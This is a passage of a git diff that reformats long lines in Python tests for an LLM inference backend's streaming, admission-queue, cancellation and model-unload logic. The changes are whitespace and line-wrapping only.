-3866,7 +4120,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_stream_preheader_delayed_non_200_returns_sse_error(self, monkeypatch): + def test_passthrough_stream_preheader_delayed_non_200_returns_sse_error( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -3888,7 +4144,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) payload = ChatCompletionRequest( model = "default", @@ -3934,7 +4192,9 @@ class TestApiMonitorProviderAndCompletionStreams: import routes.inference as inf_mod gate = asyncio.Event() - ctx_msg = "request (4096 tokens) exceeds the available context size (2048 tokens)" + ctx_msg = ( + "request (4096 tokens) exceeds the available context size (2048 tokens)" + ) async def fake_send(*_args, **_kwargs): await gate.wait() @@ -3952,7 +4212,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) payload = ChatCompletionRequest( model = "default", @@ -4033,7 +4295,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) messages = [ ChatMessage(role = "system", content = "system"), @@ -4128,7 +4392,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) messages = [ @@ -4178,7 +4444,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_stream_preheader_delayed_request_error_cleans_up(self, monkeypatch): + def test_passthrough_stream_preheader_delayed_request_error_cleans_up( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -4201,7 +4469,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) payload = ChatCompletionRequest( model = "default", @@ -4271,7 +4541,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) payload = ChatCompletionRequest( model = "default", @@ -4305,7 +4577,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_stream_unstarted_cleanup_closes_completed_send_response(self, monkeypatch): + def test_passthrough_stream_unstarted_cleanup_closes_completed_send_response( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -4338,7 +4612,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) payload = ChatCompletionRequest( model = "default", @@ -4386,7 +4662,9 @@ class TestApiMonitorProviderAndCompletionStreams: assert kwargs["stream"] is False yield json.dumps( { - "choices": [{"message": {"content": "provider [DONE] reply"}}], + "choices": [ + {"message": {"content": "provider [DONE] reply"}} + ], "usage": { "prompt_tokens": 3, "completion_tokens": 4, @@ -4499,7 +4777,9 @@ class TestApiMonitorProviderAndCompletionStreams: model_identifier = "gguf", ), ) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) response = await openai_completions(Request(), current_subject = "test") chunks = [] @@ -4547,7 +4827,9 @@ class TestApiMonitorProviderAndCompletionStreams: model_identifier = "gguf", ), ) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) response = await openai_completions(Request(), current_subject = "test") @@ -4652,7 +4934,9 @@ class TestApiMonitorProviderAndCompletionStreams: monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient()) + monkeypatch.setattr( + inf_mod, "nonstreaming_client", lambda: CapturingClient() + ) monkeypatch.setattr( inf_mod, "get_llama_cpp_backend", @@ -4703,7 +4987,9 @@ class TestApiMonitorProviderAndCompletionStreams: monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient()) + monkeypatch.setattr( + inf_mod, "nonstreaming_client", lambda: CapturingClient() + ) monkeypatch.setattr( inf_mod, "get_llama_cpp_backend", @@ -4722,7 +5008,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_completions_rejects_non_integer_max_tokens_before_forwarding(self, monkeypatch): + def test_completions_rejects_non_integer_max_tokens_before_forwarding( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -4736,7 +5024,9 @@ class TestApiMonitorProviderAndCompletionStreams: class UnusedClient: async def post(self, *_args, **_kwargs): - raise AssertionError("invalid max_tokens must not reach llama-server") + raise AssertionError( + "invalid max_tokens must not reach llama-server" + ) monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) @@ -4912,7 +5202,9 @@ class TestApiMonitorProviderAndCompletionStreams: monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) monitor_id = monitor.start( endpoint = "/v1/chat/completions", @@ -5076,7 +5368,9 @@ class TestApiMonitorProviderAndCompletionStreams: ) queue = get_llama_admission_queue("http://llama.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None cancel_id = "queued-inner-unstarted-cleanup" @@ -5182,7 +5476,9 @@ class TestApiMonitorProviderAndCompletionStreams: ) queue = get_llama_admission_queue("http://llama.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None cancel_id = "queued-inner-cancel-monitor" @@ -5277,7 +5573,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_stream_error_done_skips_synthetic_finish_reason(self, monkeypatch): + def test_passthrough_stream_error_done_skips_synthetic_finish_reason( + self, monkeypatch + ): async def _run(): result = await self._run_passthrough_stream( monkeypatch, @@ -5298,7 +5596,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_stream_error_eof_skips_synthetic_finish_reason(self, monkeypatch): + def test_passthrough_stream_error_eof_skips_synthetic_finish_reason( + self, monkeypatch + ): async def _run(): result = await self._run_passthrough_stream( monkeypatch, @@ -5329,7 +5629,8 @@ class TestApiMonitorProviderAndCompletionStreams: ) assert ( - '"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2' in result.body + '"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2' + in result.body ) assert "data: [DONE]" in result.body assert "}\n\ndata: [DONE]\n\n" in result.body @@ -5337,7 +5638,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_stream_queued_request_sends_keepalive_before_upstream(self, monkeypatch): + def test_passthrough_stream_queued_request_sends_keepalive_before_upstream( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -5354,7 +5657,9 @@ class TestApiMonitorProviderAndCompletionStreams: monitor = ApiMonitor(max_entries = 3) monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01") monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_openai_passthrough_stream_admitted", fail_admitted) + monkeypatch.setattr( + inf_mod, "_openai_passthrough_stream_admitted", fail_admitted + ) monitor_id = monitor.start( endpoint = "/v1/chat/completions", method = "POST", @@ -5363,7 +5668,9 @@ class TestApiMonitorProviderAndCompletionStreams: ) queue = get_llama_admission_queue("http://llama.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None payload = ChatCompletionRequest( @@ -5407,7 +5714,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_non_streaming_admission_timeout_before_upstream(self, monkeypatch): + def test_passthrough_non_streaming_admission_timeout_before_upstream( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -5429,7 +5738,9 @@ class TestApiMonitorProviderAndCompletionStreams: ) queue = get_llama_admission_queue("http://llama.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None payload = ChatCompletionRequest( @@ -5460,7 +5771,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_non_streaming_admission_queue_full_before_upstream(self, monkeypatch): + def test_passthrough_non_streaming_admission_queue_full_before_upstream( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -5472,7 +5785,9 @@ class TestApiMonitorProviderAndCompletionStreams: return False async def fail_upstream(*_args, **_kwargs): - raise AssertionError("upstream must not start when admission queue is full") + raise AssertionError( + "upstream must not start when admission queue is full" + ) monkeypatch.setenv(ADMISSION_MAX_QUEUE_ENV, "1") monkeypatch.setattr( @@ -5519,12 +5834,16 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_non_streaming_immediate_cancel_stops_before_upstream(self, monkeypatch): + def test_passthrough_non_streaming_immediate_cancel_stops_before_upstream( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod async def fail_upstream(*_args, **_kwargs): - raise AssertionError("upstream must not start after client cancellation") + raise AssertionError( + "upstream must not start after client cancellation" + ) monkeypatch.setattr( inf_mod, @@ -5569,7 +5888,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_non_streaming_admission_task_cancel_finalizes_monitor(self, monkeypatch): + def test_passthrough_non_streaming_admission_task_cancel_finalizes_monitor( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -5577,7 +5898,9 @@ class TestApiMonitorProviderAndCompletionStreams: raise asyncio.CancelledError() async def fail_upstream(*_args, **_kwargs): - raise AssertionError("upstream must not start after admission task cancel") + raise AssertionError( + "upstream must not start after admission task cancel" + ) monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) @@ -5682,7 +6005,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_non_streaming_cancel_closes_blocked_upstream_post(self, monkeypatch): + def test_passthrough_non_streaming_cancel_closes_blocked_upstream_post( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -5788,7 +6113,9 @@ class TestApiMonitorProviderAndCompletionStreams: client = HangingCancelableClient() monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_cancelable_nonstreaming_client", lambda: client) + monkeypatch.setattr( + inf_mod, "_cancelable_nonstreaming_client", lambda: client + ) def _plain(**_kwargs): raise AssertionError("plain GGUF path should not be used") @@ -5846,7 +6173,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_non_streaming_disconnect_closes_blocked_upstream_post(self, monkeypatch): + def test_passthrough_non_streaming_disconnect_closes_blocked_upstream_post( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -6123,7 +6452,9 @@ class TestApiMonitorProviderAndCompletionStreams: monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) monitor_id = monitor.start( endpoint = "/v1/chat/completions", @@ -6195,7 +6526,9 @@ class TestApiMonitorProviderAndCompletionStreams: monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) monitor_id = monitor.start( endpoint = "/v1/chat/completions", @@ -6260,7 +6593,9 @@ class TestApiMonitorProviderAndCompletionStreams: monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) monitor_id = monitor.start( endpoint = "/v1/chat/completions", @@ -6352,7 +6687,9 @@ class TestApiMonitorSafetensorsUsage: context_length = None, ), ) - monkeypatch.setattr(inf_mod, "get_inference_backend", lambda: DummyBackend()) + monkeypatch.setattr( + inf_mod, "get_inference_backend", lambda: DummyBackend() + ) monkeypatch.setattr( inf_mod, "_detect_safetensors_features", @@ -6423,7 +6760,9 @@ class TestApiMonitorSafetensorsUsage: context_length = None, ), ) - monkeypatch.setattr(inf_mod, "get_inference_backend", lambda: DummyBackend()) + monkeypatch.setattr( + inf_mod, "get_inference_backend", lambda: DummyBackend() + ) monkeypatch.setattr( inf_mod, "_detect_safetensors_features", @@ -6452,7 +6791,9 @@ class TestApiMonitorSafetensorsUsage: asyncio.run(_run()) - def test_non_streaming_safetensors_tool_task_cancel_finalizes_monitor(self, monkeypatch): + def test_non_streaming_safetensors_tool_task_cancel_finalizes_monitor( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -6489,7 +6830,9 @@ class TestApiMonitorSafetensorsUsage: context_length = None, ), ) - monkeypatch.setattr(inf_mod, "get_inference_backend", lambda: DummyBackend()) + monkeypatch.setattr( + inf_mod, "get_inference_backend", lambda: DummyBackend() + ) monkeypatch.setattr( inf_mod, "_detect_safetensors_features", @@ -6682,7 +7025,9 @@ class TestApiMonitorAudioInput: "get_llama_cpp_backend", lambda: SimpleNamespace(is_loaded = False), ) - monkeypatch.setattr(inf_mod, "get_inference_backend", lambda: DummyTtsBackend()) + monkeypatch.setattr( + inf_mod, "get_inference_backend", lambda: DummyTtsBackend() + ) monkeypatch.setattr(inf_mod, "generate_audio", fake_generate_audio) payload = ChatCompletionRequest( @@ -6739,7 +7084,9 @@ class TestApiMonitorAudioInput: "get_llama_cpp_backend", lambda: SimpleNamespace(is_loaded = False), ) - monkeypatch.setattr(inf_mod, "get_inference_backend", lambda: DummyTtsBackend()) + monkeypatch.setattr( + inf_mod, "get_inference_backend", lambda: DummyTtsBackend() + ) monkeypatch.setattr(inf_mod, "generate_audio", fake_generate_audio) payload = ChatCompletionRequest( @@ -6879,7 +7226,9 @@ class TestResponsesChatTemplateKwargs: chat_req = _build_chat_request(payload, self._messages, stream = False) assert chat_req.enable_thinking is None - def test_responses_stream_queued_request_sends_keepalive_before_upstream(self, monkeypatch): + def test_responses_stream_queued_request_sends_keepalive_before_upstream( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -6898,10 +7247,14 @@ class TestResponsesChatTemplateKwargs: monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01") monkeypatch.setattr(inf_mod, "api_monitor", monitor) monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fail_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fail_send + ) queue = get_llama_admission_queue("http://llama.responses.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None monitor_id = monitor.start( endpoint = "/v1/responses", @@ -6939,12 +7292,16 @@ class TestResponsesChatTemplateKwargs: asyncio.run(_run()) - def test_responses_stream_cancel_after_created_finalizes_monitor_and_slot(self, monkeypatch): + def test_responses_stream_cancel_after_created_finalizes_monitor_and_slot( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod async def fail_send(*_args, **_kwargs): - raise AssertionError("responses upstream must not start after created cancel") + raise AssertionError( + "responses upstream must not start after created cancel" + ) backend = SimpleNamespace( is_loaded = True, @@ -6957,7 +7314,9 @@ class TestResponsesChatTemplateKwargs: monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fail_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fail_send + ) monitor_id = monitor.start( endpoint = "/v1/responses", method = "POST", @@ -6979,7 +7338,12 @@ class TestResponsesChatTemplateKwargs: with pytest.raises(asyncio.CancelledError): await iterator.athrow(asyncio.CancelledError()) - assert get_llama_admission_queue("http://llama.responses.test").snapshot().active == 0 + assert ( + get_llama_admission_queue("http://llama.responses.test") + .snapshot() + .active + == 0 + ) [entry] = monitor.snapshot() assert entry["status"] == "cancelled" assert monitor.active_count() == 0 @@ -7148,7 +7512,9 @@ class TestGgufChatHistoryAlternation: ], ) normalized, _ = _openai_messages_for_gguf_chat(req, is_vision = False) - rebuilt = _set_or_prepend_system_message(normalized, "You have access to tools.") + rebuilt = _set_or_prepend_system_message( + normalized, "You have access to tools." + ) roles = [m["role"] for m in rebuilt] assert roles == ["system", "user"] assert all(roles[i] != roles[i + 1] for i in range(len(roles) - 1)), roles diff --git a/studio/backend/tests/test_orchestrator_unload_cancel.py b/studio/backend/tests/test_orchestrator_unload_cancel.py index 3a36500aee..16262b2276 100644 --- a/studio/backend/tests/test_orchestrator_unload_cancel.py +++ b/studio/backend/tests/test_orchestrator_unload_cancel.py @@ -103,7 +103,9 @@ def test_unload_cancels_inflight_generation_then_unloads(monkeypatch): monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) sent = [] monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd)) - monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"}) + monkeypatch.setattr( + o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"} + ) monkeypatch.setattr(o, "_drain_queue", lambda: []) # A generation holds _gen_lock and releases it only once cancelled. @@ -135,7 +137,9 @@ def test_unload_no_active_generation_unloads_normally(monkeypatch): monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) sent = [] monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd)) - monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"}) + monkeypatch.setattr( + o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"} + ) monkeypatch.setattr(o, "_drain_queue", lambda: []) ok = o.unload_model("m") @@ -153,8 +157,12 @@ def test_unload_falls_back_to_shutdown_when_generation_wont_yield(monkeypatch): monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2) shutdown = [] - monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout)) - monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send unload when wedged")) + monkeypatch.setattr( + o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout) + ) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send unload when wedged") + ) # A wedged worker never releases _gen_lock, even after the cancel. o._gen_lock.acquire() @@ -185,10 +193,14 @@ def test_unload_tears_down_when_compare_dispatcher_wedged(monkeypatch): o._dispatcher_thread = _AliveThread() shutdown = [] - monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout)) + monkeypatch.setattr( + o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout) + ) monkeypatch.setattr(o, "_drain_queue", lambda: []) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not send unload with a wedged dispatcher") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not send unload with a wedged dispatcher"), ) monkeypatch.setattr( o, @@ -233,7 +245,9 @@ def test_unload_pending_clears_after_unload(monkeypatch): o = _bare_orchestrator() monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr(o, "_send_cmd", lambda cmd: None) - monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"}) + monkeypatch.setattr( + o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"} + ) monkeypatch.setattr(o, "_drain_queue", lambda: []) o.unload_model("m") @@ -262,7 +276,9 @@ def test_dispatched_generation_bails_when_unload_pending(monkeypatch): o = _bare_orchestrator() monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr( - o, "_start_dispatcher", lambda: pytest.fail("must not start a generation mid-switch") + o, + "_start_dispatcher", + lambda: pytest.fail("must not start a generation mid-switch"), ) monkeypatch.setattr( o, "_send_cmd", lambda cmd: pytest.fail("must not send generate mid-switch") @@ -297,7 +313,9 @@ def test_audio_response_bails_when_unload_pending(monkeypatch): o = _bare_orchestrator() monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not send audio generate mid-switch") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not send audio generate mid-switch"), ) o._unload_pending = True @@ -393,7 +411,9 @@ def test_unload_sets_drain_event_during_switch_and_clears_after(monkeypatch): o = _bare_orchestrator() monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr(o, "_drain_queue", lambda: []) - monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"}) + monkeypatch.setattr( + o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"} + ) seen = {} @@ -415,7 +435,9 @@ def test_unload_clears_drain_event_even_on_wedged_teardown(monkeypatch): o = _bare_orchestrator() monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2) - monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send when wedged")) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send when wedged") + ) # A wedged worker never releases _gen_lock; unload tears the subprocess down. The # real teardown nulls _drain_event, so emulate that so the finally exercises its guard. @@ -441,13 +463,17 @@ def test_generation_rechecks_model_after_lock_wait(monkeypatch): o = _bare_orchestrator() monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not generate on a swapped/unloaded model") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not generate on a swapped/unloaded model"), ) reached_lock = threading.Event() # _wait_dispatcher_idle runs after the pre-lock check and before acquiring the lock; # signalling here means the generator captured the model and is about to block. - monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1]) + monkeypatch.setattr( + o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1] + ) o.active_model_name = "m" o._unload_pending = False @@ -474,10 +500,14 @@ def test_generation_rechecks_model_when_unloaded_to_none(monkeypatch): o = _bare_orchestrator() monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not generate after the model was unloaded") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not generate after the model was unloaded"), ) reached_lock = threading.Event() - monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1]) + monkeypatch.setattr( + o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1] + ) o.active_model_name = "m" o._unload_pending = False @@ -485,7 +515,9 @@ def test_generation_rechecks_model_when_unloaded_to_none(monkeypatch): out: list = [] t = threading.Thread( - target = lambda: out.extend(o._generate_inner(messages = [{"role": "user", "content": "hi"}])) + target = lambda: out.extend( + o._generate_inner(messages = [{"role": "user", "content": "hi"}]) + ) ) t.start() assert reached_lock.wait(timeout = 5) @@ -508,7 +540,9 @@ def test_unload_of_stale_name_does_not_touch_active_model(monkeypatch): o = _bare_orchestrator() monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not send an unload for a stale model name"), ) o.active_model_name = "current" o.models = {"current": {}} @@ -528,7 +562,9 @@ def test_unload_matches_active_model_case_insensitively(monkeypatch): monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) sent = [] monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd)) - monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"}) + monkeypatch.setattr( + o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"} + ) monkeypatch.setattr(o, "_drain_queue", lambda: []) o.active_model_name = "unsloth/Qwen3-4B" @@ -551,7 +587,9 @@ def test_unload_of_stale_name_still_no_ops_after_case_insensitive_match(monkeypa o = _bare_orchestrator() monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not send an unload for a stale model name"), ) o.active_model_name = "unsloth/Qwen3-4B" o.models = {"unsloth/Qwen3-4B": {}} @@ -592,7 +630,10 @@ def test_load_does_not_accumulate_stale_models_defeating_the_unload_guard(monkey "model_info": {"identifier": name, "display_name": name}, }, ) - assert o.load_model(types.SimpleNamespace(identifier = name, gguf_variant = None)) is True + assert ( + o.load_model(types.SimpleNamespace(identifier = name, gguf_variant = None)) + is True + ) _load("modelA") _load("modelB") # switch to B without unloading A first @@ -603,7 +644,9 @@ def test_load_does_not_accumulate_stale_models_defeating_the_unload_guard(monkey # A stale unload of the swapped-out model must not reach the worker (whose # absent-name fallback would unload the active model B). - monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("stale unload reached the worker")) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("stale unload reached the worker") + ) assert o.unload_model("modelA") is True assert o.active_model_name == "modelB" assert "modelB" in o.models @@ -624,7 +667,9 @@ def test_unload_route_serializes_with_loads_via_lifecycle_gate(monkeypatch): model_identifier = None monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Llama()) - monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False) + monkeypatch.setattr( + inference_route, "is_registered_native_path_label", lambda *a: False + ) unloaded: list = [] @@ -672,9 +717,13 @@ def test_cancel_load_terminates_loading_subprocess_and_sends_no_command(monkeypa o.active_model_name = None o.models = {} shutdown = [] - monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout)) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command") + o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout) + ) + monkeypatch.setattr( + o, + "_send_cmd", + lambda cmd: pytest.fail("cancel_load must not send a worker command"), ) assert o.cancel_load("m") is True @@ -700,9 +749,13 @@ def test_unload_model_cancels_a_loading_model_via_cancel_load(monkeypatch): o.loading_models = {"m"} o.active_model_name = None shutdown = [] - monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout)) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not send a command to cancel a load") + o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout) + ) + monkeypatch.setattr( + o, + "_send_cmd", + lambda cmd: pytest.fail("must not send a command to cancel a load"), ) assert o.unload_model("m") is True @@ -726,7 +779,9 @@ def test_unload_route_cancels_in_flight_load_without_waiting_on_gate(monkeypatch model_identifier = None monkeypatch.setattr(inference_route, "get_llama_cpp_backend", 